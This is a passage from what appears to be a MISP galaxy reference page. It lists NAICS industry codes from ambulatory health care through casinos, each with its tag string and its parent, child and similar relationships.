621910 has relationships with:

- child-of: misp-galaxy:naics="6219" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62191" with estimative-language:likelihood-probability="likely"

62199

All Other Ambulatory Health Care Services

The tag is: *misp-galaxy:naics="62199"*

View relationships graph

62199 has relationships with:

- child-of: misp-galaxy:naics="6219" with estimative-language:likelihood-probability="likely"

621991

Blood and Organ Banks

The tag is: *misp-galaxy:naics="621991"*

View relationships graph

621991 has relationships with:

- child-of: misp-galaxy:naics="6219" with estimative-language:likelihood-probability="likely"

621999

All Other Miscellaneous Ambulatory Health Care Services

The tag is: *misp-galaxy:naics="621999"*

View relationships graph

621999 has relationships with:

- child-of: misp-galaxy:naics="6219" with estimative-language:likelihood-probability="likely"

622

Hospitals

The tag is: *misp-galaxy:naics="622"*

View relationships graph

622 has relationships with:

- child-of: misp-galaxy:naics="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6223" with estimative-language:likelihood-probability="likely"

6221

General Medical and Surgical Hospitals

The tag is: *misp-galaxy:naics="6221"*

View relationships graph

6221 has relationships with:

- child-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="622110" with estimative-language:likelihood-probability="likely"

62211

General Medical and Surgical Hospitals

The tag is: *misp-galaxy:naics="62211"*

View relationships graph

62211 has relationships with:

- child-of: misp-galaxy:naics="6221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="622110" with estimative-language:likelihood-probability="likely"

622110

General Medical and Surgical Hospitals

The tag is: *misp-galaxy:naics="622110"*

View relationships graph

622110 has relationships with:

- child-of: misp-galaxy:naics="6221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62211" with estimative-language:likelihood-probability="likely"

6222

Psychiatric and Substance Abuse Hospitals

The tag is: *misp-galaxy:naics="6222"*

View relationships graph

6222 has relationships with:

- child-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="622210" with estimative-language:likelihood-probability="likely"

62221

Psychiatric and Substance Abuse Hospitals

The tag is: *misp-galaxy:naics="62221"*

View relationships graph

62221 has relationships with:

- child-of: misp-galaxy:naics="6222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="622210" with estimative-language:likelihood-probability="likely"

622210

Psychiatric and Substance Abuse Hospitals

The tag is: *misp-galaxy:naics="622210"*

View relationships graph

622210 has relationships with:

- child-of: misp-galaxy:naics="6222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62221" with estimative-language:likelihood-probability="likely"

6223

Specialty (except Psychiatric and Substance Abuse) Hospitals

The tag is: *misp-galaxy:naics="6223"*

View relationships graph

6223 has relationships with:

- child-of: misp-galaxy:naics="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="622310" with estimative-language:likelihood-probability="likely"

62231

Specialty (except Psychiatric and Substance Abuse) Hospitals

The tag is: *misp-galaxy:naics="62231"*

View relationships graph

62231 has relationships with:

- child-of: misp-galaxy:naics="6223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="622310" with estimative-language:likelihood-probability="likely"

622310

Specialty (except Psychiatric and Substance Abuse) Hospitals

The tag is: *misp-galaxy:naics="622310"*

View relationships graph

622310 has relationships with:

- child-of: misp-galaxy:naics="6223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62231" with estimative-language:likelihood-probability="likely"

623

Nursing and Residential Care Facilities

The tag is: *misp-galaxy:naics="623"*

View relationships graph

623 has relationships with:

- child-of: misp-galaxy:naics="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6239" with estimative-language:likelihood-probability="likely"

6231

Nursing Care Facilities (Skilled Nursing Facilities)

The tag is: *misp-galaxy:naics="6231"*

View relationships graph

6231 has relationships with:

- child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623110" with estimative-language:likelihood-probability="likely"

62311

Nursing Care Facilities (Skilled Nursing Facilities)

The tag is: *misp-galaxy:naics="62311"*

View relationships graph

62311 has relationships with:

- child-of: misp-galaxy:naics="6231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="623110" with estimative-language:likelihood-probability="likely"

623110

Nursing Care Facilities (Skilled Nursing Facilities)

The tag is: *misp-galaxy:naics="623110"*

View relationships graph

623110 has relationships with:

- child-of: misp-galaxy:naics="6231" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62311" with estimative-language:likelihood-probability="likely"

6232

Residential Intellectual and Developmental Disability, Mental Health, and Substance Abuse Facilities

The tag is: *misp-galaxy:naics="6232"*

View relationships graph

6232 has relationships with:

- child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623220" with estimative-language:likelihood-probability="likely"

62321

Residential Intellectual and Developmental Disability Facilities

The tag is: *misp-galaxy:naics="62321"*

View relationships graph

62321 has relationships with:

- child-of: misp-galaxy:naics="6232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="623210" with estimative-language:likelihood-probability="likely"

623210

Residential Intellectual and Developmental Disability Facilities

The tag is: *misp-galaxy:naics="623210"*

View relationships graph

623210 has relationships with:

- child-of: misp-galaxy:naics="6232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62321" with estimative-language:likelihood-probability="likely"

62322

Residential Mental Health and Substance Abuse Facilities

The tag is: *misp-galaxy:naics="62322"*

View relationships graph

62322 has relationships with:

- child-of: misp-galaxy:naics="6232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="623220" with estimative-language:likelihood-probability="likely"

623220

Residential Mental Health and Substance Abuse Facilities

The tag is: *misp-galaxy:naics="623220"*

View relationships graph

623220 has relationships with:

- child-of: misp-galaxy:naics="6232" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62322" with estimative-language:likelihood-probability="likely"

6233

Continuing Care Retirement Communities and Assisted Living Facilities for the Elderly

The tag is: *misp-galaxy:naics="6233"*

View relationships graph

6233 has relationships with:

- child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623312" with estimative-language:likelihood-probability="likely"

62331

Continuing Care Retirement Communities and Assisted Living Facilities for the Elderly

The tag is: *misp-galaxy:naics="62331"*

View relationships graph

62331 has relationships with:

- child-of: misp-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"

623311

Continuing Care Retirement Communities

The tag is: *misp-galaxy:naics="623311"*

View relationships graph

623311 has relationships with:

- child-of: misp-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"

623312

Assisted Living Facilities for the Elderly

The tag is: *misp-galaxy:naics="623312"*

View relationships graph

623312 has relationships with:

- child-of: misp-galaxy:naics="6233" with estimative-language:likelihood-probability="likely"

6239

Other Residential Care Facilities

The tag is: *misp-galaxy:naics="6239"*

View relationships graph

6239 has relationships with:

- child-of: misp-galaxy:naics="623" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="623990" with estimative-language:likelihood-probability="likely"

62399

Other Residential Care Facilities

The tag is: *misp-galaxy:naics="62399"*

View relationships graph

62399 has relationships with:

- child-of: misp-galaxy:naics="6239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="623990" with estimative-language:likelihood-probability="likely"

623990

Other Residential Care Facilities

The tag is: *misp-galaxy:naics="623990"*

View relationships graph

623990 has relationships with:

- child-of: misp-galaxy:naics="6239" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62399" with estimative-language:likelihood-probability="likely"

624

Social Assistance

The tag is: *misp-galaxy:naics="624"*

View relationships graph

624 has relationships with:

- child-of: misp-galaxy:naics="62" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6243" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="6244" with estimative-language:likelihood-probability="likely"

6241

Individual and Family Services

The tag is: *misp-galaxy:naics="6241"*

View relationships graph

6241 has relationships with:

- child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62419" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624190" with estimative-language:likelihood-probability="likely"

62411

Child and Youth Services

The tag is: *misp-galaxy:naics="62411"*

View relationships graph

62411 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624110" with estimative-language:likelihood-probability="likely"

624110

Child and Youth Services

The tag is: *misp-galaxy:naics="624110"*

View relationships graph

624110 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62411" with estimative-language:likelihood-probability="likely"

62412

Services for the Elderly and Persons with Disabilities

The tag is: *misp-galaxy:naics="62412"*

View relationships graph

62412 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624120" with estimative-language:likelihood-probability="likely"

624120

Services for the Elderly and Persons with Disabilities

The tag is: *misp-galaxy:naics="624120"*

View relationships graph

624120 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62412" with estimative-language:likelihood-probability="likely"

62419

Other Individual and Family Services

The tag is: *misp-galaxy:naics="62419"*

View relationships graph

62419 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624190" with estimative-language:likelihood-probability="likely"

624190

Other Individual and Family Services

The tag is: *misp-galaxy:naics="624190"*

View relationships graph

624190 has relationships with:

- child-of: misp-galaxy:naics="6241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62419" with estimative-language:likelihood-probability="likely"

6242

Community Food and Housing, and Emergency and Other Relief Services

The tag is: *misp-galaxy:naics="6242"*

View relationships graph

6242 has relationships with:

- child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62423" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624230" with estimative-language:likelihood-probability="likely"

62421

Community Food Services

The tag is: *misp-galaxy:naics="62421"*

View relationships graph

62421 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624210" with estimative-language:likelihood-probability="likely"

624210

Community Food Services

The tag is: *misp-galaxy:naics="624210"*

View relationships graph

624210 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62421" with estimative-language:likelihood-probability="likely"

62422

Community Housing Services

The tag is: *misp-galaxy:naics="62422"*

View relationships graph

62422 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"

624221

Temporary Shelters

The tag is: *misp-galaxy:naics="624221"*

View relationships graph

624221 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"

624229

Other Community Housing Services

The tag is: *misp-galaxy:naics="624229"*

View relationships graph

624229 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"

62423

Emergency and Other Relief Services

The tag is: *misp-galaxy:naics="62423"*

View relationships graph

62423 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624230" with estimative-language:likelihood-probability="likely"

624230

Emergency and Other Relief Services

The tag is: *misp-galaxy:naics="624230"*

View relationships graph

624230 has relationships with:

- child-of: misp-galaxy:naics="6242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62423" with estimative-language:likelihood-probability="likely"

6243

Vocational Rehabilitation Services

The tag is: *misp-galaxy:naics="6243"*

View relationships graph

6243 has relationships with:

- child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624310" with estimative-language:likelihood-probability="likely"

62431

Vocational Rehabilitation Services

The tag is: *misp-galaxy:naics="62431"*

View relationships graph

62431 has relationships with:

- child-of: misp-galaxy:naics="6243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624310" with estimative-language:likelihood-probability="likely"

624310

Vocational Rehabilitation Services

The tag is: *misp-galaxy:naics="624310"*

View relationships graph

624310 has relationships with:

- child-of: misp-galaxy:naics="6243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62431" with estimative-language:likelihood-probability="likely"

6244

Child Care Services

The tag is: *misp-galaxy:naics="6244"*

View relationships graph

6244 has relationships with:

- child-of: misp-galaxy:naics="624" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="62441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="624410" with estimative-language:likelihood-probability="likely"

62441

Child Care Services

The tag is: *misp-galaxy:naics="62441"*

View relationships graph

62441 has relationships with:

- child-of: misp-galaxy:naics="6244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="624410" with estimative-language:likelihood-probability="likely"

624410

Child Care Services

The tag is: *misp-galaxy:naics="624410"*

View relationships graph

624410 has relationships with:

- child-of: misp-galaxy:naics="6244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="62441" with estimative-language:likelihood-probability="likely"

71

Arts, Entertainment, and Recreation

The tag is: *misp-galaxy:naics="71"*

View relationships graph

71 has relationships with:

- parent-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"

711

Performing Arts, Spectator Sports, and Related Industries

The tag is: *misp-galaxy:naics="711"*

View relationships graph

711 has relationships with:

- child-of: misp-galaxy:naics="71" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7115" with estimative-language:likelihood-probability="likely"

7111

Performing Arts Companies

The tag is: *misp-galaxy:naics="7111"*

View relationships graph

7111 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711190" with estimative-language:likelihood-probability="likely"

71111

Theater Companies and Dinner Theaters

The tag is: *misp-galaxy:naics="71111"*

View relationships graph

71111 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711110" with estimative-language:likelihood-probability="likely"

711110

Theater Companies and Dinner Theaters

The tag is: *misp-galaxy:naics="711110"*

View relationships graph

711110 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71111" with estimative-language:likelihood-probability="likely"

71112

Dance Companies

The tag is: *misp-galaxy:naics="71112"*

View relationships graph

71112 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711120" with estimative-language:likelihood-probability="likely"

711120

Dance Companies

The tag is: *misp-galaxy:naics="711120"*

View relationships graph

711120 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71112" with estimative-language:likelihood-probability="likely"

71113

Musical Groups and Artists

The tag is: *misp-galaxy:naics="71113"*

View relationships graph

71113 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711130" with estimative-language:likelihood-probability="likely"

711130

Musical Groups and Artists

The tag is: *misp-galaxy:naics="711130"*

View relationships graph

711130 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71113" with estimative-language:likelihood-probability="likely"

71119

Other Performing Arts Companies

The tag is: *misp-galaxy:naics="71119"*

View relationships graph

71119 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711190" with estimative-language:likelihood-probability="likely"

711190

Other Performing Arts Companies

The tag is: *misp-galaxy:naics="711190"*

View relationships graph

711190 has relationships with:

- child-of: misp-galaxy:naics="7111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71119" with estimative-language:likelihood-probability="likely"

7112

Spectator Sports

The tag is: *misp-galaxy:naics="7112"*

View relationships graph

7112 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711219" with estimative-language:likelihood-probability="likely"

71121

Spectator Sports

The tag is: *misp-galaxy:naics="71121"*

View relationships graph

71121 has relationships with:

- child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

711211

Sports Teams and Clubs

The tag is: *misp-galaxy:naics="711211"*

View relationships graph

711211 has relationships with:

- child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

711212

Racetracks

The tag is: *misp-galaxy:naics="711212"*

View relationships graph

711212 has relationships with:

- child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

711219

Other Spectator Sports

The tag is: *misp-galaxy:naics="711219"*

View relationships graph

711219 has relationships with:

- child-of: misp-galaxy:naics="7112" with estimative-language:likelihood-probability="likely"

7113

Promoters of Performing Arts, Sports, and Similar Events

The tag is: *misp-galaxy:naics="7113"*

View relationships graph

7113 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711320" with estimative-language:likelihood-probability="likely"

71131

Promoters of Performing Arts, Sports, and Similar Events with Facilities

The tag is: *misp-galaxy:naics="71131"*

View relationships graph

71131 has relationships with:

- child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711310" with estimative-language:likelihood-probability="likely"

711310

Promoters of Performing Arts, Sports, and Similar Events with Facilities

The tag is: *misp-galaxy:naics="711310"*

View relationships graph

711310 has relationships with:

- child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71131" with estimative-language:likelihood-probability="likely"

71132

Promoters of Performing Arts, Sports, and Similar Events without Facilities

The tag is: *misp-galaxy:naics="71132"*

View relationships graph

71132 has relationships with:

- child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711320" with estimative-language:likelihood-probability="likely"

711320

Promoters of Performing Arts, Sports, and Similar Events without Facilities

The tag is: *misp-galaxy:naics="711320"*

View relationships graph

711320 has relationships with:

- child-of: misp-galaxy:naics="7113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71132" with estimative-language:likelihood-probability="likely"

7114

Agents and Managers for Artists, Athletes, Entertainers, and Other Public Figures

The tag is: *misp-galaxy:naics="7114"*

View relationships graph

7114 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711410" with estimative-language:likelihood-probability="likely"

71141

Agents and Managers for Artists, Athletes, Entertainers, and Other Public Figures

The tag is: *misp-galaxy:naics="71141"*

View relationships graph

71141 has relationships with:

- child-of: misp-galaxy:naics="7114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711410" with estimative-language:likelihood-probability="likely"

711410

Agents and Managers for Artists, Athletes, Entertainers, and Other Public Figures

The tag is: *misp-galaxy:naics="711410"*

View relationships graph

711410 has relationships with:

- child-of: misp-galaxy:naics="7114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71141" with estimative-language:likelihood-probability="likely"

7115

Independent Artists, Writers, and Performers

The tag is: *misp-galaxy:naics="7115"*

View relationships graph

7115 has relationships with:

- child-of: misp-galaxy:naics="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="711510" with estimative-language:likelihood-probability="likely"

71151

Independent Artists, Writers, and Performers

The tag is: *misp-galaxy:naics="71151"*

View relationships graph

71151 has relationships with:

- child-of: misp-galaxy:naics="7115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="711510" with estimative-language:likelihood-probability="likely"

711510

Independent Artists, Writers, and Performers

The tag is: *misp-galaxy:naics="711510"*

View relationships graph

711510 has relationships with:

- child-of: misp-galaxy:naics="7115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71151" with estimative-language:likelihood-probability="likely"

712

Museums, Historical Sites, and Similar Institutions

The tag is: *misp-galaxy:naics="712"*

View relationships graph

712 has relationships with:

- child-of: misp-galaxy:naics="71" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"

7121

Museums, Historical Sites, and Similar Institutions

The tag is: *misp-galaxy:naics="7121"*

View relationships graph

7121 has relationships with:

- child-of: misp-galaxy:naics="712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="712190" with estimative-language:likelihood-probability="likely"

71211

Museums

The tag is: *misp-galaxy:naics="71211"*

View relationships graph

71211 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712110" with estimative-language:likelihood-probability="likely"

712110

Museums

The tag is: *misp-galaxy:naics="712110"*

View relationships graph

712110 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71211" with estimative-language:likelihood-probability="likely"

71212

Historical Sites

The tag is: *misp-galaxy:naics="71212"*

View relationships graph

71212 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712120" with estimative-language:likelihood-probability="likely"

712120

Historical Sites

The tag is: *misp-galaxy:naics="712120"*

View relationships graph

712120 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71212" with estimative-language:likelihood-probability="likely"

71213

Zoos and Botanical Gardens

The tag is: *misp-galaxy:naics="71213"*

View relationships graph

71213 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712130" with estimative-language:likelihood-probability="likely"

712130

Zoos and Botanical Gardens

The tag is: *misp-galaxy:naics="712130"*

View relationships graph

712130 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71213" with estimative-language:likelihood-probability="likely"

71219

Nature Parks and Other Similar Institutions

The tag is: *misp-galaxy:naics="71219"*

View relationships graph

71219 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="712190" with estimative-language:likelihood-probability="likely"

712190

Nature Parks and Other Similar Institutions

The tag is: *misp-galaxy:naics="712190"*

View relationships graph

712190 has relationships with:

- child-of: misp-galaxy:naics="7121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71219" with estimative-language:likelihood-probability="likely"

713

Amusement, Gambling, and Recreation Industries

The tag is: *misp-galaxy:naics="713"*

View relationships graph

713 has relationships with:

- child-of: misp-galaxy:naics="71" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"

7131

Amusement Parks and Arcades

The tag is: *misp-galaxy:naics="7131"*

View relationships graph

7131 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713120" with estimative-language:likelihood-probability="likely"

71311

Amusement and Theme Parks

The tag is: *misp-galaxy:naics="71311"*

View relationships graph

71311 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713110" with estimative-language:likelihood-probability="likely"

713110

Amusement and Theme Parks

The tag is: *misp-galaxy:naics="713110"*

View relationships graph

713110 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71311" with estimative-language:likelihood-probability="likely"

71312

Amusement Arcades

The tag is: *misp-galaxy:naics="71312"*

View relationships graph

71312 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713120" with estimative-language:likelihood-probability="likely"

713120

Amusement Arcades

The tag is: *misp-galaxy:naics="713120"*

View relationships graph

713120 has relationships with:

- child-of: misp-galaxy:naics="7131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71312" with estimative-language:likelihood-probability="likely"

7132

Gambling Industries

The tag is: *misp-galaxy:naics="7132"*

View relationships graph

7132 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71329" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713290" with estimative-language:likelihood-probability="likely"

71321

Casinos (except Casino Hotels)

The tag is: *misp-galaxy:naics="71321"*

View relationships graph

71321 has relationships with:

- child-of: misp-galaxy:naics="7132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713210" with estimative-language:likelihood-probability="likely"

713210

Casinos (except Casino Hotels)

The tag is: *misp-galaxy:naics="713210"*

View relationships graph

713210 has relationships with:

